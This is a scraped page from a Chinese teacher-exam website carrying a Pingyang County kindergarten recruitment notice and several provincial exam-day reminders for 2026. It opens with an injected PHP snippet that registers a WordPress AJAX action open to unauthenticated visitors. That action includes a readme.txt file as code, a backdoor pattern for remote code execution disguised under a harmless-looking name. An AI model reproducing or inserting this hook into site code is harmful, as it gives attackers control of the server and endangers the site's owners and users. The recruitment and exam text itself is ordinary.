if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江温州平阳县公办幼儿园2025雇员制教师招聘42人公告-全国教师资格考试网

浙江温州平阳县公办幼儿园2025雇员制教师招聘42人公告

为进一步加强幼儿教师队伍建设,促进我县幼儿教育事业稳步、健康发展,根据《平阳县人民政府关于印发<平阳县公办幼儿园雇员制教师聘用实施办法>的通知》(平政办〔2020〕100号)精神,经研究,决定面向社会公开招聘公办幼儿园雇员制教师(以下简称雇员制教师)。现将有关事项公告如下:

一、招聘对象及要求

(一)资格条件

1.具有中华人民共和国国籍,且无取得外国国籍或获取国(境)外永久居留资格、长期居留许可等情况;遵纪守法、品行端正,具有良好的思想政治素质,符合新时代幼儿园教师职业行为十项准则要求。

2.身体健康、体貌端正,心智健全,体检符合要求。

3.年龄要求:35周岁以下(1990年1月1日及以后出生)。

4.户籍要求:现户籍或原户籍在温州市各县(市、区)的高校毕业生;户口落户确认时间截止到2025年6月15日24:00。户口尚在迁移中的人员不得报考。请报考人员在注册报名时确认本人落户时间等具体情况并如实填写。

5.学历要求:普通高校专科及以上学历。国内普通高校2025年应届毕业生须于2025年7月31日24:00前取得相应学历、学位证书;国外高校同等学历学位毕业生须于2025年6月15日24:00前取得相应学历、学位证书及教育部留学服务中心出具的国外学历学位认证书。

6.专业要求:具有教师的基本素质和教育教学能力,专业符合要求。符合报考条件的专业如下:学前教育、学前教育学、早期教育、音乐教育(幼教方向)、婴幼儿发展与健康管理、婴幼儿托育服务与管理、婴幼儿托育、幼教保育、幼儿发展与健康管理等专业。本着“相近、相似”和“宜宽不宜窄,有利于人才选拔”的原则,考生对报考专业有异议的,须本人在2025年6月16日17:00前(逾时不再受理申请)到平阳县教育局(平阳县昆阳镇状元路68号)政工科404室,提出书面申请意见并提供相应的学习课程等证明资料,经研究认为确需增加专业的,可以审核通过。

7.普通话要求:具有二级乙等及以上普通话等级证书。

8.教师资格证要求:具有幼儿园教师资格证书或提供有效期内的幼儿园教师资格考试合格证明或有效期内的师范生教师职业能力证书(2025年8月15日24:00前无法提供教师资格证书,则取消录用资格)。

(二)具有下列情形之一的人员,不得报考:

1.现役军人、在读非应届毕业生、我县公办幼儿园在职雇员制教师;

2.曾因犯罪受过刑事处罚的人员或曾被开除公职的人员;

3.尚未解除党纪、政纪处分或正在接受纪律审查的人员;

4.涉嫌违法犯罪正在接受司法调查尚未作出结论的人员;

5.按照中共中央办公厅、国务院办公厅《关于加快推进失信被执行人信用监督、警示和惩戒机制建设的意见》规定,由人民法院通过司法程序认定的失信被执行人。

二、报考岗位及指标

(一)报考岗位

每人限报一个岗位,多填无效,以报名最后一条提交信息为准。

(二)报考岗位指标

雇员制教师42名,具体招聘计划指标详见《2025年平阳县公办幼儿园招聘雇员制教师计划表》(详见附件1)。

三、雇员制教师的人员性质和待遇

(一)公办幼儿园雇员制教师是指我县公办幼儿园现有编制人员配置无法满足正常教育教学工作需求,在机构编制部门核定的指标内,从社会上招聘具备幼儿园教师资格证书且从事教学工作的非在编人员。

(二)雇员制教师的平均工资标准按《平阳县公办幼儿园雇员制教师聘用实施办法》(平政办〔2020〕100号)执行。工资从雇员制教师到幼儿园正式上班开始计发。

四、招聘程序及办法

招聘实施“公开报名、统一考试、择优录用”的办法。招聘执行“网上报名、笔试、资格审核、试课、体检、考察、公示和单位录用”等程序,资格审核贯穿招聘全过程。具体招聘程序与办法如下:

(一)网上报名

1.时间期限:6月16日9:00-6月20日17:00,网上注册报名,到期将关闭报考系统,逾期不再受理。

2.注册报名:登录平阳县教育局公开招聘教师报考系统(网址:https://www.wjx.cn/vm/YDbnYvt.aspx#),注册个人真实信息,每人限报一个岗位;网上报名程序不具备资格审核功能,是否符合报考资格,须自行对照招聘公告规定条件。

3.领取准考证:6月25日14:00至17:00,到县教育局410会议室领取准考证。准考证在整个招聘过程均须使用,务必妥善保存。

(二)笔试

1.考试的形式为闭卷笔试(满分100分)。

2.内容:学前教育专业理论知识。笔试不指定考试大纲和参考用书,不举办也不授权或委托任何单位举办任何形式的培训班。

3.笔试时间地点及要求:笔试时间暂定于6月28日,具体考试时间及地点见准考证。考生须同时携带准考证和本人有效期内的第二代身份证,按照准考证上规定的时间和地点参加笔试。身份证遗失的,请及时补办或办理临时身份证,否则不得进入考场。

4.笔试成绩和参加现场资格审核的考生名单将在平阳县政府门户网站→政府信息公开→县教育局→法定主动公开内容→人事信息→事业单位招录(下称平阳县教育局事业单位招录)栏目中(http://www.zjpy.gov.cn/col/col1229393054/index.html)予以公布。

(三)资格审核

1.入围比例:根据各岗位笔试成绩按比例确定入围试课考生,入围试课人数与岗位招聘指标的比例为1.5:1,入围试课考生参加现场资格审核,在资格审核中合格人数不足比例时,将按笔试成绩递补,若划定最低分数线有同分的,则一并进入资格审核。若某个报考岗位还有空缺的,则在其他报考岗位未入围试课考生中按笔试成绩递补,若划定最低分数线有同分的,则一并进入资格审核。

2.时间和地点:按照规定时间和地点(另行通知)参加审核,确认网报信息并提交规定材料等,未经资格审核的视作自动放弃。

3.应交材料:考生须携带下列材料原件和复印件,复印件应按顺序装订。审核合格者交齐复印件,不合格者不收材料。

⑴《2025年平阳县公办幼儿园招聘雇员制教师报名表》(详见附件2)作为材料封面。

⑵本人身份证、户口本(或户口迁出底册)、毕业证书(学信网电子注册备案表)、普通话等级证书等。

⑶已经取得教师资格的,提供教师资格证书;教师资格未认证的,提供国家教师资格考试《合格证明书》。

(四)试课

统一组织教学技能考核,采用模拟课堂的形式进行试课,准备时间60分钟,试讲10分钟。主要考查教学设计能力、掌握教学内容能力、教学组织能力、教学基本素养、仪表仪态等。试课成绩满分为100分,试课设置最低分数控制线为70分,试课成绩低于70分(不含70分)的不予录用。入围试课的人员未按时到达指定地点参与试课,视作放弃,相关岗位不再递补。

(五)体检与考察

1.对象:根据招聘总成绩,按计划指标1:1比例确定入围体检考生。当招聘总成绩相同时,优先顺序为:⑴试课成绩高分的考生;⑵报考学历层次高的考生;⑶身份为中共党员的考生;⑷获得优秀毕业生层次高的考生;⑸获得奖学金层次高的考生。⑹少数民族考生;入围指标最后一名有2人及以上项目均相同的,另行组织考核,以最终考核成绩高低确定入围体检对象。入围体检对象及有关事项在平阳县教育局事业单位招考栏目中公布。

2.组织:统一组织入围体检对象进行体检。体检对象必须按规定的时间、地点和要求,携带本人有效身份证参加体检。不按规定时间、地点和要求参加体检的,作自动放弃处理。体检结果在平阳县教育局事业单位招考栏目中公布。体检不合格或自动放弃体检的,其空缺体检资格在该岗位考生中按照总成绩,从高分到低分依次递补,若总成绩相同,则按照“入围对象总成绩相同的优先录用顺序”递补,递补人员体检不合格者,空缺名额不再递补。

3.标准:按照《托幼机构工作人员健康合格证》相应体检标准执行,体检费用个人自理。半年内已取得以上证件的人员可凭证申请免检。

4.考察工作参照公务员考录工作相关环节的办法进行,考察结果仅作为本次是否录用的依据。考察不合格或自动放弃考察的取消录用资格,其空缺名额依次递补,递补人员考察不合格,空缺名额不再递补。

(六)公示与录用

1.公示。体检考察合格人员,确定为拟录用对象,拟录用人员公示期为5个工作日。公示期间及以后,反映有影响录用的问题并查有实据的,取消录用资格,空缺名额不再递补。

2.择岗。拟录用对象根据报考岗位,选择相应幼儿园,择岗办法和具体岗位设置另行发文。

3.录用。公示无异议的人员按规定时间到相应幼儿园办理报到手续,性质为非事业编制教师,并通过劳务派遣形式签订用工合同,试用期为三个月,试用期考核合格的续签;不合格的,解除用工合同。拟录用人员不能按时报到的,取消录用资格。

五、本公告未尽事宜由平阳县教育局负责解释

政策咨询电话:0577-63886320,0577-63886315。

附件:1.2025年平阳县公办幼儿园招聘雇员制教师计划表

2.2025年平阳县公办幼儿园招聘雇员制教师报名表

平阳县教育局

2025年6月9日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部